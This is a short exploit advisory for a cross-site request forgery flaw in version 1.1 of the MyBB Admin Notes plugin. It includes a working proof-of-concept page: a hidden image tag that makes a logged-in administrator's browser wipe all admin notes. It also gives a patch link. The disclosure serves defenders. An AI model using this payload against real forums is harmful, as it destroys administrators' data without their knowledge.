MyBB Admin Notes Plugin 1.1 Exploit, Cross-Site Request Forgery

# Exploit Title: MyBB Admin Notes Plugin - CSRF
# Date: 2018-05-14
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1106
# Version: 1.1
# Tested on: Ubuntu 18.04

# 1. Description: The plugin allows administrators to save notes and display them in a list in the ACP. The CSRF allows an attacker to remotely delete all admin notes.

# 2. Proof of Concept:
<html>
	<body>
		<img style="display:none" src="http://localhost/mybb/admin/index.php?empty=table" alt="">
	</body>
</html>

# 3. Solution:
# Update to the latest release
# Patch: https://github.com/vintagedaddyo/MyBB_Plugin-adminnotes/commit/3deae701cdd89753cb6688302aee5b93a72bc58b?diff=split

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